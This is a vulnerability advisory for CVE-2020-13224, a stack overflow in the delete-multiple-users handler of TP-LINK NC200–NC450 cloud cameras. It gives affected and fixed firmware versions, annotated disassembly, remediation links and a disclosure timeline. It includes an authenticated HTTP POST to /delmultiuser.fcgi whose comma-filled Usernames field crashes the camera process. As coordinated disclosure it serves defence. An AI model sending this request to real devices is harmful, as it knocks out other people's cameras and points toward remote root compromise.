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TP-LINK Cloud Cameras NCXXX Stack Overflow

TP-LINK Cloud Cameras NCXXX Stack Overflow
Posted Jun 16, 2020
Authored by Pietro Oliva

TP-LINK Cloud Cameras NCXXX suffer from a DelMultiUser stack overflow vulnerability.

tags | exploit, overflow
advisories | CVE-2020-13224
MD5 | 2e5485e5a29b2903236f12f546e6d0e6

TP-LINK Cloud Cameras NCXXX Stack Overflow

Change Mirror Download
Vulnerability title: TP-LINK Cloud Cameras NCXXX DelMultiUser Stack Overflow
Author: Pietro Oliva
CVE: CVE-2020-13224
Vendor: TP-LINK
Product: NC200, NC210, NC220, NC230, NC250, NC260, NC450
Affected versions: NC200 <= 2.1.10 build 200401, NC210 <= 1.0.10 build 200401,
NC220 <= 1.3.1 build 200401, NC230 <= 1.3.1 build 200401,
NC250 <= 1.3.1 build 200401, NC260 <= 1.5.3 build_200401,
NC450 <= 1.5.4 build 200401

Fixed versions: NC200 <= 2.1.11 build 200508, NC210 <= 1.0.11 build 200612,
NC220 <= 1.3.2 build 200508, NC230 <= 1.3.2 build 200508,
NC250 <= 1.3.2 build 200508, NC260 <= 1.5.4 build_200508,
NC450 <= 1.5.5 build 200508

Description:
The issue is located in the httpDelMultiUserRpm method of the ipcamera binary
(Called when deleting multiple users via /delmultiuser.fcgi), where a
comma-delimited list of usernames is passed as an input, and a list of error
codes for each user deletion attempt is returned to the user via HTTP. The list
of error codes returned to the user is temporary stored in a fixed-size stack
buffer, while there in no limit on the number of usernames that the user can
specify. Since the error codes are concatenated in a loop without any boundary
checks until a string terminator has been found in the user-supplied string, a
stack-based buffer overflow can occur if the user provided an input string
with enough commas or usernames.

Impact:
Attackers could exploit this vulnerability to remotely crash the ipcamera
process, or remotely execute arbitrary code as root.

Exploitation:
An attacker would first need to authenticate to the web interface and make a
request similar to the following to trigger a crash of the ipcamera process:

POST /delmultiuser.fcgi HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Content-Type: application/x-www-form-urlencoded
Cookie: sess=xxxxx
Content-Length: xxxx

Usernames=,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,&token=xxxxx"


Evidence:
The disassembly of affected code from an NC200 camera is shown below:

sym.httpDelMultiUserRpm:

; Get pointer to Usernames param from HTTP request
││ 0x0047ee90 lw a0, (env)
││ 0x0047ee94 lw a1, -0x7fe4(gp)
││ 0x0047ee98 nop
││ 0x0047ee9c addiu a1, a1, -0x73b0 ; "Usernames" string
││ 0x0047eea0 lw t9, -sym.httpGetEnv(gp)
││ 0x0047eea4 nop
││ 0x0047eea8 jalr t9
││ 0x0047eeac nop

; Save the pointer and return error if it is NULL
││ 0x0047eeb0 lw gp, (arg_10h)
││ 0x0047eeb4 sw v0, (arg_usernames)
││ 0x0047eeb8 lw v0, (arg_usernames)
││ 0x0047eebc nop
││┌─< 0x0047eec0 bnez v0, 0x47eed4
│││ 0x0047eec4 nop
│││ 0x0047eec8 addiu v0, zero, -1
┌────< 0x0047eecc b 0x47f0bc
││││ 0x0047eed0 sw v0, (arg_46ch)

; If the pointer is not null, initialize to 0 the error code buffer on the stack
│││└─> 0x0047eed4 addiu v0, fp, 0x40
│││ 0x0047eed8 move a0, v0
│││ 0x0047eedc move a1, zero
│││ 0x0047eee0 addiu a2, zero, 0x400
│││ 0x0047eee4 lw t9, -sym.imp.memset(gp)
│││ 0x0047eee8 nop
│││ 0x0047eeec jalr t9
│││ 0x0047eef0 nop
│││ 0x0047eef4 lw gp, (arg_10h)

; Copy the arg_usernames pointer to arg_usernames_copy
│││ 0x0047eef8 lw v0, (arg_usernames)
│││ 0x0047eefc nop
│││ 0x0047ef00 sw v0, (arg_usernames_copy)

; Get a pointer to the first occurrence of the comma character and store it
│││┌─> 0x0047ef04 lw a0, (arg_usernames_copy)
│││╎ 0x0047ef08 addiu a1, zero, 0x2c
│││╎ 0x0047ef0c lw t9, -sym.imp.strchr(gp)
│││╎ 0x0047ef10 nop
│││╎ 0x0047ef14 jalr t9
│││╎ 0x0047ef18 nop
│││╎ 0x0047ef1c lw gp, (arg_10h)
│││╎ 0x0047ef20 sw v0, (ptr_to_next_comma)

; If the pointer is NULL go and delete the last username in the list
│││╎ 0x0047ef24 lw v0, (ptr_to_next_comma)
│││╎ 0x0047ef28 nop
┌─────< 0x0047ef2c beqz v0, 0x47efc0
││││╎ 0x0047ef30 nop

; Replace the comma character with a string terminator and delete the user
││││╎ 0x0047ef34 lw v0, (ptr_to_next_comma)
││││╎ 0x0047ef38 nop
││││╎ 0x0047ef3c sb zero, (v0)
││││╎ 0x0047ef40 lw a0, (arg_usernames_copy)
││││╎ 0x0047ef44 lw t9, -sym.swUMDelUser(gp)
││││╎ 0x0047ef48 nop
││││╎ 0x0047ef4c jalr t9
││││╎ 0x0047ef50 nop

; Create a string with the error code from swUMDelUser
││││╎ 0x0047ef54 lw gp, (arg_10h)
││││╎ 0x0047ef58 sw v0, (deluser_error_code)
││││╎ 0x0047ef5c addiu v0, fp, 0x448
││││╎ 0x0047ef60 move a0, v0
││││╎ 0x0047ef64 lw a1, -0x7fe4(gp)
││││╎ 0x0047ef68 nop
││││╎ 0x0047ef6c addiu a1, a1, -0x73a4 ; '{"errorCode":&d},'
││││╎ 0x0047ef70 lw a2, (deluser_error_code)
││││╎ 0x0047ef74 lw t9, -sym.imp.sprintf(gp)
││││╎ 0x0047ef78 nop
││││╎ 0x0047ef7c jalr t9
││││╎ 0x0047ef80 nop

; Concatenate the error code string with other error codes on the stack
││││╎ 0x0047ef84 lw gp, (arg_10h)
││││╎ 0x0047ef88 addiu v0, fp, 0x40
││││╎ 0x0047ef8c addiu v1, fp, 0x448
││││╎ 0x0047ef90 move a0, v0
││││╎ 0x0047ef94 move a1, v1
││││╎ 0x0047ef98 lw t9, -sym.imp.strcat(gp) ; concatenate err code
││││╎ 0x0047ef9c nop
││││╎ 0x0047efa0 jalr t9
││││╎ 0x0047efa4 nop

; Increase the pointer by one to the next username
││││╎ 0x0047efa8 lw gp, (arg_10h)
││││╎ 0x0047efac lw v0, (ptr_to_next_comma)
││││╎ 0x0047efb0 nop
││││╎ 0x0047efb4 addiu v0, v0, 1

; Store the updated pointer and skip the last/only username deletion code
┌──────< 0x0047efb8 b 0x47f034
│││││╎ 0x0047efbc sw v0, (arg_usernames_copy)

; Delete the last/only username in the list and concatenate error code
│└─────> 0x0047efc0 lw a0, (arg_usernames_copy)
│ │││╎ 0x0047efc4 lw t9, -sym.swUMDelUser(gp)
│ │││╎ 0x0047efc8 nop
│ │││╎ 0x0047efcc jalr t9
│ │││╎ 0x0047efd0 nop
│ │││╎ 0x0047efd4 lw gp, (arg_10h)
│ │││╎ 0x0047efd8 sw v0, (deluser_error_code)
│ │││╎ 0x0047efdc addiu v0, fp, 0x448
│ │││╎ 0x0047efe0 move a0, v0
│ │││╎ 0x0047efe4 lw a1, -0x7fe4(gp)
│ │││╎ 0x0047efe8 nop
│ │││╎ 0x0047efec addiu a1, a1, -0x73a4 ; '{"errorCode":&d},'
│ │││╎ 0x0047eff0 lw a2, (deluser_error_code)
│ │││╎ 0x0047eff4 lw t9, -sym.imp.sprintf(gp)
│ │││╎ 0x0047eff8 nop
│ │││╎ 0x0047effc jalr t9
│ │││╎ 0x0047f000 nop
│ │││╎ 0x0047f004 lw gp, (arg_10h)
│ │││╎ 0x0047f008 addiu v0, fp, 0x40
│ │││╎ 0x0047f00c addiu v1, fp, 0x448
│ │││╎ 0x0047f010 move a0, v0
│ │││╎ 0x0047f014 move a1, v1
│ │││╎ 0x0047f018 lw t9, -sym.imp.strcat(gp) ; Concatenate err code
│ │││╎ 0x0047f01c nop
│ │││╎ 0x0047f020 jalr t9
│ │││╎ 0x0047f024 nop
│ │││╎ 0x0047f028 lw gp, (arg_10h)
│┌─────< 0x0047f02c b 0x47f04c
│││││╎ 0x0047f030 nop

; Checks if the string terminator has been found.
└──────> 0x0047f034 lw v0, (ptr_to_next_comma)
││││╎ 0x0047f038 nop

; If yes, return the error codes to the user via HTTP
┌──────< 0x0047f03c beqz v0, 0x47f04c

; Otherwise, continue deleting users until the NULL terminator is found.
│││││╎ 0x0047f040 nop
│││││└─< 0x0047f044 b 0x47ef04


Mitigating factors:
There is very limited control over the buffer that will eventually overwrite
the saved return address. The only part of the buffer that can be slightly
controlled is the error code by using existing, non-existing, or invalid
usernames, since error codes can change in content and length. If an attacker
managed to find a way to carefully combine error codes and obtain a valid
address after return address overwrite, arbitrary code execution as root
could be achieved.

Remediation:
Install firmware updates provided by the vendor to fix the vulnerability.
The latest updates can be found at the following URLs:

https://www.tp-link.com/en/support/download/nc200/#Firmware
https://www.tp-link.com/en/support/download/nc210/#Firmware
https://www.tp-link.com/en/support/download/nc220/#Firmware
https://www.tp-link.com/en/support/download/nc230/#Firmware
https://www.tp-link.com/en/support/download/nc250/#Firmware
https://www.tp-link.com/en/support/download/nc260/#Firmware
https://www.tp-link.com/en/support/download/nc450/#Firmware

Disclosure timeline:
2nd May 2020 - Vulnerability reported to vendor.
19th May 2020 - Patched firmware provided by vendor for verification.
19th May 2020 - Confirmed the vulnerability was fixed.
15th June 2020 - Firmware updates released to the public.
15th June 2020 - Vulnerability details are made public.


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